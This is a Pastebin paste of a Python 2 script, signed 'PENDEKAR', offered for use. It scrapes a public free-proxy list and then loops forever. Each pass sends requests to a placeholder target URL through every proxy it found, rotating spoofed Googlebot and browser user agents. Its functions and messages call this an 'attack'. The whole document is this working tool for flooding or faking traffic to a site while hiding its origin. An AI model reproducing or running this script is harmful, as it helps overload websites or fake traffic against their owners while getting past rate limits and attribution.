Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import requests
- import random
- from bs4 import BeautifulSoup
- def validate_ip(s):
- a = s.split('.')
- if len(a) != 4:
- return False
- for x in a:
- if not x.isdigit():
- return False
- i = int(x)
- if i < 0 or i > 255:
- return False
- return True
- def validate_port(s):
- if not s.isdigit():
- return False
- i = int(s)
- if i < 0 or i > 65535:
- return False
- return True
- def get_html():
- return requests.get('https://free-proxy-list.net/').content
- def get_ip():
- res = []
- soup = BeautifulSoup(get_html(), 'html5lib')
- for data in soup.find_all('td'):
- dt = data.string
- if validate_ip(dt) or validate_port(dt):
- res.append(dt)
- return res
- def fix_array(datas):
- res = []
- if not len(datas) % 2:
- for i in range(len(datas)-1):
- if i % 2:
- res.append((datas[i+1], datas[i+2]))
- return res
- def attack(ip, port):
- http_proxy = "http://"+ip+":"+port
- proxyDict = {
- "http" : http_proxy,
- }
- agent = [
- 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
- 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',
- 'Googlebot/2.1 (+http://www.google.com/bot.html)',
- 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1',
- 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
- ]
- headers = {
- "User-agent": random.choice(agent),
- }
- urls = [
- '< YOUR LIST URL>',
- ]
- url = random.choice(urls)
- try:
- print ip, port
- res = requests.get(url, headers=headers, proxies=proxyDict, verify=True, timeout=None)
- return res.status_code
- except:
- return None
- def main():
- while True:
- for data in fix_array(get_ip()):
- if attack(data[0], data[1]) == 200:
- print "Attack sukses"
- else:
- print "Attack mental gan"
- continue
- if __name__ == "__main__":
- main()
- #BY PENDEKAR
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement